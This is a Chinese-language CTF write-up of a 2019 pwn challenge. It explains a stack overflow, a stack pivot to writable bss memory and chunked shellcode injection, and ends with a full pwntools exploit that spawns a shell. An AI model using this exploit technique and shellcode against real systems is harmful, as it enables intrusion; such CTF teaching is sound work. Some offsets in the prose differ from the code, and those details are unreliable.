題目地址,感謝hebtuerror404師傅一直收集題目:
https://github.com/hebtuerror404/Anheng_cup_month/tree/master/2019-07/Pwn/unexploit
安恒7月月賽中的一道pwn題目,考察的是棧遷移和shellcode利用,首先看一下安全機(jī)制,全部關(guān)閉,說明可以執(zhí)行shellcode

漏洞點(diǎn)在read函數(shù)這里,輸入的字節(jié)比buf長,是一個(gè)典型的棧溢出,但是沒有預(yù)留后門函數(shù),可以通過寫shellcode的方式來利用,但是寫入的字節(jié)數(shù)太少,可以選擇棧遷移的方式,遷移到RWX的段上。

可以看到0x600000到0x602000是滿足要求的,我們可以把棧遷移到上面去:

思路就是將棧遷移到bss段上,由于每次只能寫入20字節(jié),所以得進(jìn)行多次寫入,每次寫入8字節(jié)的shellcode,由于選用的是24字節(jié)的shellcode,所以需要分3次寫入,每次寫入還需要將ebp加8個(gè)字節(jié),下面開始進(jìn)行構(gòu)造:
pay = 'a'*pad + p64(bss+8) + p64(readaddr) + p64(0xdeadbeef)
第一次read函數(shù)輸入之后,棧的情況,可以看出棧中的老RBP已被覆蓋:

第一次執(zhí)行LEAVE,LEAVE指令是將棧頂指針指向棧底指針,然后POP備份的原幀指針到RBP寄存器:
相當(dāng)于:
mov rsp rbp
pop rbp

pay2 = sc2[0:8] + p64(bss+0x48) + p64(readaddr) + p64(0)
第二次read函數(shù)接收輸入后,是往0x601100的bss段地址中寫入部分shellcode,并且用0x601148來覆蓋RBP,在執(zhí)行完LEAVE函數(shù)后,RSP會(huì)和這一次的RBP相等,為0x601008,接下來RIP會(huì)繼續(xù)回到read函數(shù):

上面的分析如圖所示,繼續(xù)跳轉(zhuǎn):

pay3 = p64(0) + p64(bss+0x10) + p64(readaddr) + p64(0)
第三次read函數(shù)接收輸入后,可以看到輸入的值放在當(dāng)前棧底值減8的地方,也就是0x601140的地方:

在函數(shù)結(jié)束后,RSP和RBP如下所示:

pay4 = sc2[8:16] + p64(bss+0x48) + p64(readaddr) + p64(0)
在第四次函數(shù)接收輸入,將8個(gè)字節(jié)的shellcode寫入,并且將RBP覆蓋為0x601148,返回地址仍然為0x40068,24字節(jié)的shellcode需要分四次寫入

接著繼續(xù)到達(dá)LEAVE,此時(shí)的棧的情況是這樣的:

pay5 = p64(0) + p64(bss+0x18) + p64(readaddr) + p64(0)
在第五次函數(shù)接收輸入,可以看到輸入的值放在當(dāng)前棧底值減8的地方,也就是0x601140的地方:

執(zhí)行完LEAVE后的RBP和RSP如下圖所示:

pay6 = sc2[16:24] + p64(bss+0x48) + p64(readaddr) + p64(0)
在第六次函數(shù)接收輸入,將最后8個(gè)字節(jié)的shellcode寫入,并且將RBP覆蓋為0x601148,返回地址仍然為0x40068,可以看到輸入的值放在當(dāng)前棧底值減8的地方,也就是0x601148的地方:

執(zhí)行完LEAVE后的RBP和RSP如下圖所示:

pay7 = p64(0) + p64(0) + p64(bss) + p64(0)
在第七次函數(shù)接收輸入,可以看到輸入的值放在當(dāng)前棧底值減8的地方,也就是0x601140的地方:

最后一次輸入直接跳轉(zhuǎn)到輸入好的shellcode開始處就可以了,最后成功拿到shell:

exp代碼如下:
#coding:utf-8
from pwn import *
?
context.log_level = 'debug'
?
shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
p = process ('./unexploit')
#p = remote('101.71.29.5',10002)
?
bss = 0x601100
read_addr = 0x40068a
?
def payload(a,b,c,d):
p.send(a+b+c+d)
?
payload('a'*8,p64(bss+8),p64(read_addr),p64(0xdeadbeef))
payload(shellcode[0:8],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(bss+0x10),p64(read_addr),p64(0))
payload(shellcode[8:16],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(bss+0x18),p64(read_addr),p64(0))
payload(shellcode[16:24],p64(bss+0x38),p64(read_addr),p64(0))
payload(p64(0),p64(0),p64(bss),p64(0))
?
p.interactive()